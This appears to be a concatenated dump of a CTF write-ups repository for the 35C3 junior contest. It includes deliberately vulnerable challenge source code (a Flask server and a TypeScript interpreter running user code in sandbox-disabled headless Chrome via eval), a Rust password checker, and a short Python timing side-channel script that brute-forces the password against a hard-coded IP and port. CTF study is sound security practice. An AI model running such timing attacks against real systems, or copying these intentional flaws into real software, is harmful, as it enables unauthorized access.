427 | @app.route("/wee/dev/null", methods=["POST"])
428 | def dev_null():
429 | json = request.get_json(force=True)
430 | wee = json["code"]
431 | wee = """
432 | var DEV_NULL: string = '{}'
433 | {}
434 | """.format(DEV_NULL, wee)
435 | _ = runwee(wee)
436 | return "GONE"
437 |
438 |
439 | @app.route("/wee/encryptiontest", methods=["GET"])
440 | def encryptiontest():
441 | global encrypted
442 | if not encrypted:
443 | wee = """
444 | # we use weelang to encrypt secrets completely secret
445 |
446 | record pubkey
447 | n: string
448 | e: string
449 | end
450 |
451 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3')
452 |
453 | fun encrypt(message: string, key: pubkey): string
454 | return bigModPow(strToBig(message), key.e, key.n)
455 | end
456 |
457 | fun get_cypher(key: pubkey): string
458 | var message = '{}'
459 | return encrypt(message, key)
460 | end
461 |
462 | alert(get_cypher(key))
463 | """.format(DECRYPTED)
464 | encrypted = runwee(wee)
465 | return jsonify({"enc": encrypted})
466 |
467 |
468 | # The pyserver is almost 100% open source!
469 | # Just enough to barely get it running but never to its full potential.
470 | # We got very positive feedback on HN and nobody bothered to run it anyway.
471 | # 11/10 would open source again.
472 | @app.route("/pyserver/server.py", methods=["GET"])
473 | def server_source():
474 | return Response(inspect.getsource(sys.modules[__name__]), mimetype='text/x-python')
475 |
476 |
477 | @app.route("/pyserver/flags.py", methods=["GET"])
478 | def server_flags():
479 | return Response("""
480 | DB_SECRET = "35C3_???"
481 | DECRYPTED = "35C3_???"
482 | DEV_NULL = "35C3_???"
483 | LOCALHOST = "35C3_???"
484 | LOGGED_IN = "35C3_???"
485 | NOT_IMPLEMENTED = "35C3_???"
486 | """, mimetype='text/x-python')
487 |
488 |
489 | @app.route("/weelang/{}".format(WEETERPRETER), methods=["GET"])
490 | def weeterpreter_source():
491 | return send_file(os.path.join(WEE_PATH, WEETERPRETER), mimetype="text/x-typescript")
492 |
493 |
494 | @app.route("/weelang/package.json", methods=["GET"])
495 | def weeterpreter_deps():
496 | return send_file(os.path.join(WEE_PATH, "package.json"))
497 |
498 |
499 | @app.route("/weelang/flags.ts", methods=["GET"])
500 | def weeterpreter_flags():
501 | return Response("""
502 | export const CONVERSION_ERROR = "35C3_???"
503 | export const EQUALITY_ERROR = "35C3_???"
504 | export const LAYERS = "35C3_???"
505 | export const NUMBER_ERROR = "35C3_???"
506 | export const WEE_R_LEET = "35C3_???"
507 | export const WEE_TOKEN = "35C3_???"
508 | """, mimetype="text/x-typescript")
509 |
510 |
511 | @app.before_first_request
512 | def maybe_init_db():
513 | if not os.path.exists(DATABASE):
514 | init_db()
515 |
516 |
517 | if __name__ == "__main__":
518 | app.run(host="0.0.0.0", port=8075)
519 |
--------------------------------------------------------------------------------
/2018/35C3-junior/ultra_secret.tar:
--------------------------------------------------------------------------------
1 | distrib/ 0000755 0001750 0001750 00000000000 13411422364 011142 5 ustar maik maik distrib/src/ 0000755 0001750 0001750 00000000000 13411477702 011737 5 ustar maik maik distrib/src/main.rs 0000644 0001750 0001750 00000002160 13411422364 013222 0 ustar maik maik extern crate crypto;
2 |
3 | use std::io;
4 | use std::io::BufRead;
5 | use std::process::exit;
6 | use std::io::BufReader;
7 | use std::io::Read;
8 | use std::fs::File;
9 | use std::path::Path;
10 | use std::env;
11 |
12 | use crypto::digest::Digest;
13 | use crypto::sha2::Sha256;
14 |
15 | fn main() {
16 | let mut password = String::new();
17 | let mut flag = String::new();
18 | let mut i = 0;
19 | let stdin = io::stdin();
20 | let hashes: Vec = BufReader::new(File::open(Path::new("hashes.txt")).unwrap()).lines().map(|x| x.unwrap()).collect();
21 | BufReader::new(File::open(Path::new("flag.txt")).unwrap()).read_to_string(&mut flag).unwrap();
22 |
23 | println!("Please enter the very secret password:");
24 | stdin.lock().read_line(&mut password).unwrap();
25 | let password = &password[0..32];
26 | for c in password.chars() {
27 | let hash = hash(c);
28 | if hash != hashes[i] {
29 | exit(1);
30 | }
31 | i += 1;
32 | }
33 | println!("{}", &flag)
34 | }
35 |
36 | fn hash(c: char) -> String {
37 | let mut hash = String::new();
38 | hash.push(c);
39 | for _ in 0..9999 {
40 | let mut sha = Sha256::new();
41 | sha.input_str(&hash);
42 | hash = sha.result_str();
43 | }
44 | hash
45 | }
46 | distrib/Cargo.toml 0000644 0001750 0001750 00000000250 13411422364 013067 0 ustar maik maik [package]
47 | name = "ultra_secret"
48 | version = "0.1.0"
49 | authors = ["Benedikt Constantin Radtke "]
50 |
51 | [dependencies]
52 | rust-crypto = "0.2.36"
53 | distrib/Cargo.lock 0000644 0001750 0001750 00000012556 13411422364 013060 0 ustar maik maik [[package]]
54 | name = "bitflags"
55 | version = "1.0.4"
56 | source = "registry+https://github.com/rust-lang/crates.io-index"
57 |
58 | [[package]]
59 | name = "fuchsia-zircon"
60 | version = "0.3.3"
61 | source = "registry+https://github.com/rust-lang/crates.io-index"
62 | dependencies = [
63 | "bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)",
64 | "fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
65 | ]
66 |
67 | [[package]]
68 | name = "fuchsia-zircon-sys"
69 | version = "0.3.3"
70 | source = "registry+https://github.com/rust-lang/crates.io-index"
71 |
72 | [[package]]
73 | name = "gcc"
74 | version = "0.3.55"
75 | source = "registry+https://github.com/rust-lang/crates.io-index"
76 |
77 | [[package]]
78 | name = "libc"
79 | version = "0.2.45"
80 | source = "registry+https://github.com/rust-lang/crates.io-index"
81 |
82 | [[package]]
83 | name = "rand"
84 | version = "0.3.22"
85 | source = "registry+https://github.com/rust-lang/crates.io-index"
86 | dependencies = [
87 | "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
88 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)",
89 | "rand 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)",
90 | ]
91 |
92 | [[package]]
93 | name = "rand"
94 | version = "0.4.3"
95 | source = "registry+https://github.com/rust-lang/crates.io-index"
96 | dependencies = [
97 | "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
98 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)",
99 | "winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)",
100 | ]
101 |
102 | [[package]]
103 | name = "redox_syscall"
104 | version = "0.1.44"
105 | source = "registry+https://github.com/rust-lang/crates.io-index"
106 |
107 | [[package]]
108 | name = "rust-crypto"
109 | version = "0.2.36"
110 | source = "registry+https://github.com/rust-lang/crates.io-index"
111 | dependencies = [
112 | "gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)",
113 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)",
114 | "rand 0.3.22 (registry+https://github.com/rust-lang/crates.io-index)",
115 | "rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)",
116 | "time 0.1.41 (registry+https://github.com/rust-lang/crates.io-index)",
117 | ]
118 |
119 | [[package]]
120 | name = "rustc-serialize"
121 | version = "0.3.24"
122 | source = "registry+https://github.com/rust-lang/crates.io-index"
123 |
124 | [[package]]
125 | name = "time"
126 | version = "0.1.41"
127 | source = "registry+https://github.com/rust-lang/crates.io-index"
128 | dependencies = [
129 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)",
130 | "redox_syscall 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)",
131 | "winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)",
132 | ]
133 |
134 | [[package]]
135 | name = "ultra_secret"
136 | version = "0.1.0"
137 | dependencies = [
138 | "rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)",
139 | ]
140 |
141 | [[package]]
142 | name = "winapi"
143 | version = "0.3.6"
144 | source = "registry+https://github.com/rust-lang/crates.io-index"
145 | dependencies = [
146 | "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
147 | "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
148 | ]
149 |
150 | [[package]]
151 | name = "winapi-i686-pc-windows-gnu"
152 | version = "0.4.0"
153 | source = "registry+https://github.com/rust-lang/crates.io-index"
154 |
155 | [[package]]
156 | name = "winapi-x86_64-pc-windows-gnu"
157 | version = "0.4.0"
158 | source = "registry+https://github.com/rust-lang/crates.io-index"
159 |
160 | [metadata]
161 | "checksum bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)" = "228047a76f468627ca71776ecdebd732a3423081fcf5125585bcd7c49886ce12"
162 | "checksum fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
163 | "checksum fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
164 | "checksum gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)" = "8f5f3913fa0bfe7ee1fd8248b6b9f42a5af4b9d65ec2dd2c3c26132b950ecfc2"
165 | "checksum libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)" = "2d2857ec59fadc0773853c664d2d18e7198e83883e7060b63c924cb077bd5c74"
166 | "checksum rand 0.3.22 (registry+https://github.com/rust-lang/crates.io-index)" = "15a732abf9d20f0ad8eeb6f909bf6868722d9a06e1e50802b6a70351f40b4eb1"
167 | "checksum rand 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "8356f47b32624fef5b3301c1be97e5944ecdd595409cc5da11d05f211db6cfbd"
168 | "checksum redox_syscall 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)" = "a84bcd297b87a545980a2d25a0beb72a1f490c31f0a9fde52fca35bfbb1ceb70"
169 | "checksum rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)" = "f76d05d3993fd5f4af9434e8e436db163a12a9d40e1a58a726f27a01dfd12a2a"
170 | "checksum rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)" = "dcf128d1287d2ea9d80910b5f1120d0b8eede3fbf1abe91c40d39ea7d51e6fda"
171 | "checksum time 0.1.41 (registry+https://github.com/rust-lang/crates.io-index)" = "847da467bf0db05882a9e2375934a8a55cffdc9db0d128af1518200260ba1f6c"
172 | "checksum winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)" = "92c1eb33641e276cfa214a0522acad57be5c56b10cb348b3c5117db75f3ac4b0"
173 | "checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
174 | "checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
175 |
--------------------------------------------------------------------------------
/2018/35C3-junior/ultrasecret.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import socket
3 | import string
4 | import time
5 | import sys
6 | from multiprocessing import Pool
7 |
8 | def f(x):
9 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
10 | s.connect(('35.207.158.95', 1337))
11 | s.recv(1024)
12 | start = time.time()
13 | s.send(x.encode('ascii') + b'\n')
14 | res = s.recv(1024)
15 | return time.time() - start, x, res
16 |
17 |
18 | pwd = '10e004c2e186b4d280fad7f36e779'
19 | while len(pwd) < 32:
20 | times = {}
21 | with Pool(16) as p:
22 | res = p.map(f, [pwd + x + ' '*(31-len(pwd)) for x in '0123456789abcdef'])
23 | for r in res:
24 | print(r)
25 | pwd = list(sorted(res))[-1][1].replace(' ', '')
26 | print(pwd)
27 |
--------------------------------------------------------------------------------
/2018/35C3-junior/weeterpreter.ts:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ts-node
2 | import * as compiler from "../client/src/language/Compiler"
3 | import {AsyncPromise, VirtualMachine, VirtualMachineState} from "../client/src/language/VirtualMachine"
4 | import * as puppeteer from 'puppeteer'
5 | import * as flags from "./flags";
6 |
7 | declare let BigInt: any
8 |
9 | const DoEvents = () => new Promise((resolve) => setImmediate(resolve))
10 |
11 | const browserPromise = puppeteer.launch({args: ["--no-sandbox"]})
12 | const pagePromise: Promise = new Promise(async (resolve, reject) => {
13 | try {
14 | const browser = await browserPromise
15 | const page = await browser.newPage()
16 | await page.setRequestInterception(true)
17 | page.on('request', r=> (r.url().startsWith("file://") && (
18 | r.url().endsWith("weelang/pypyjs.html") ||
19 | r.url().endsWith("lib/FunctionPromise.js") ||
20 | r.url().endsWith("lib/pypyjs.js") ||
21 | r.url().endsWith("lib/pypyjs.vm.js") ||
22 | r.url().endsWith("lib/pypyjs.vm.js.zmem")
23 | ) ? r.continue() : r.abort() && console.log("blocked", r.url()))
24 | )
25 | await page.goto(`file:///${__dirname}/pypyjs.html`, {waitUntil: 'networkidle2'})
26 | await page.evaluate(`store('${flags.LAYERS}')`)
27 | resolve(page)
28 | } catch (e) {
29 | reject(e)
30 | }
31 | })
32 |
33 | browserPromise.catch(x=>console.error)
34 | pagePromise.catch(x=>console.error)
35 |
36 | /**
37 | * Uses a recent chrome to run code inside the chrome sandbox.
38 | * (Hint: there is no challenge here. If you can escape chrome, play the advanced ctf ;) )
39 | * @param script: the code to run
40 | * @param args: args, in case the script takes any.
41 | */
42 | async function eval_in_chrome(script, ...args): Promise {
43 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]})
44 | try {
45 | //console.log("running", script, ...args)
46 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]})
47 | //const page = await browser.newPage()
48 | //await page.goto(`file:///${__dirname}/pypyjs.html`)
49 | //const response = await page.goto(`file:///${__dirname}/pypyjs.html`)
50 | //console.log(response) Too slow :/
51 | const page = await pagePromise
52 | //console.log("Goiong on evaling", script, args)
53 | const result = await page.evaluate(script, ...args)
54 | //await page.close()
55 | //console.log("closed. returning.", result)
56 | return result
57 | } catch (e) {
58 | //console.log("An eval error occurred: ", e)
59 | return "" + e.message
60 | }
61 | }
62 |
63 | function wee_eval(expr: string): AsyncPromise {
64 | let asyncResult: AsyncPromise = {
65 | completed: false,
66 | value: null,
67 | stopVirtualMachine: false
68 | }
69 | eval_in_chrome(expr).then((res) => {
70 | //console.log("Result ", expr, res)
71 | asyncResult.value = res;
72 | asyncResult.completed = true
73 | }).catch((err) => {
74 | console.log("Unexpectged error in eval", expr, err)
75 | asyncResult.value = "" + err;
76 | asyncResult.completed = true
77 | })
78 | return asyncResult
79 | }
80 |
81 |
82 | function get_headless_externals() {
83 | const externals = new compiler.ExternalFunctionsTypesConstants();
84 |
85 | // Override browser-dependend alert with console.log
86 | externals.addFunction(
87 | "alert",
88 | [{name: "message", type: compiler.StringType}], compiler.NothingType,
89 | false,
90 | console.log
91 | )
92 | externals.addFunction(
93 | "alert",
94 | [{name: "value", type: compiler.NumberType}], compiler.NothingType,
95 | false,
96 | console.log
97 | )
98 | externals.addFunction(
99 | "alert",
100 | [{name: "value", type: compiler.BooleanType}], compiler.NothingType,
101 | false,
102 | console.log
103 | )
104 |
105 | // pyserver
106 | externals.addFunction(
107 | "ord",
108 | [{name: "value", type: compiler.StringType}], compiler.NumberType,
109 | false,
110 | (value: string) => {
111 | return value.charCodeAt(0) % 256
112 | }
113 | )
114 | externals.addFunction(
115 | "bigModPow",
116 | [
117 | {name: "base", type: compiler.StringType},
118 | {name: "exponent", type: compiler.StringType},
119 | {name: "modulus", type: compiler.StringType}
120 | ], compiler.StringType,
121 | false,
122 | (base: string, exponent: string, modulus: string) => {
123 | let b = BigInt(base)
124 | let e = BigInt(exponent)
125 | let N = BigInt(modulus)
126 | return eval('""+((b ** e) % N)') // force js since tsc translates ** to Math.Pow... *rolls eyes*
127 | }
128 | )
129 | externals.addFunction(
130 | "strToBig",
131 | [{name: "str", type: compiler.StringType}], compiler.StringType,
132 | false,
133 | (str: string) => {
134 | let res = BigInt(0)
135 | for (const c of str) {
136 | res *= BigInt(256)
137 | res += BigInt(c.charCodeAt(0) % 256)
138 | }
139 | return "" + res
140 | }
141 | )
142 | externals.addFunction(
143 | "eval",
144 | [{name: "expr", type: compiler.StringType}], compiler.StringType,
145 | true,
146 | (expr: string) => {
147 | return wee_eval(expr)
148 | }
149 | )
150 | externals.addFunction(
151 | "assert_equals",
152 | [{name: "num", type: compiler.NumberType}], compiler.StringType,
153 | false,
154 | (num: number) => num === num
155 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR
156 | )
157 | externals.addFunction(
158 | "assert_number",
159 | [{name: "num", type: compiler.NumberType}], compiler.StringType,
160 | false,
161 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1
162 | ? "NUMBERS WORK" : flags.NUMBER_ERROR
163 | )
164 | externals.addFunction(
165 | "assert_conversion",
166 | [{name: "str", type: compiler.StringType}], compiler.StringType,
167 | false,
168 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str)
169 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR
170 | )
171 | externals.addFunction(
172 | // Wee is statically typed. Finding a way to confuse the VM is impossible.
173 | "assert_string",
174 | [{name: "str", type: compiler.StringType}], compiler.StringType,
175 | false,
176 | (str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible."
177 | : flags.WEE_TOKEN
178 | )
179 | externals.addFunction(
180 | "assert_leet",
181 | [{name: "maybe_leet", type: compiler.NumberType}], compiler.StringType,
182 | false,
183 | (maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET
184 | )
185 | return externals
186 | }
187 |
188 | export async function wee_exec(code: string) {
189 | try {
190 | const compiled = compiler.compile(code, get_headless_externals())
191 | const vm = new VirtualMachine(compiled.functions, compiled.externalFunctions)
192 | while (vm.state != VirtualMachineState.Completed) {
193 | vm.run(10000)
194 | await DoEvents() // Excited about this name! VB6 <3. Nothing beats the good ol' "On Error Resume Next"...
195 | }
196 | vm.restart()
197 | } catch (ex) {
198 | console.error(ex.message)
199 | }
200 | }
201 |
202 | if (require.main === module) {
203 | //eval_in_chrome("1+1")
204 | const wee = process.argv[2];
205 | //console.log(wee)
206 | wee_exec(wee)
207 | .then(_=>browserPromise)
208 | .then(b=>b.close())
209 | .then(_=>process.exit())
210 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ctf-writeups
--------------------------------------------------------------------------------